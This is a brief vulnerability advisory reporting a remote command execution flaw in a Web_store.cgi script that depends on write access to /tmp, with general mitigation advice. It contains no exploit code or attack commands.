Remote Command Execution Vulnerability In Web_store.cgi

This exploit allows remote attackers to execute arbitrary commands via a vulnerable Web_store.cgi script. The exploit requires the ability to write to the /tmp directory.

Mitigation:

To mitigate this vulnerability, ensure that the Web_store.cgi script does not allow arbitrary command execution and restrict write permissions to the /tmp directory.
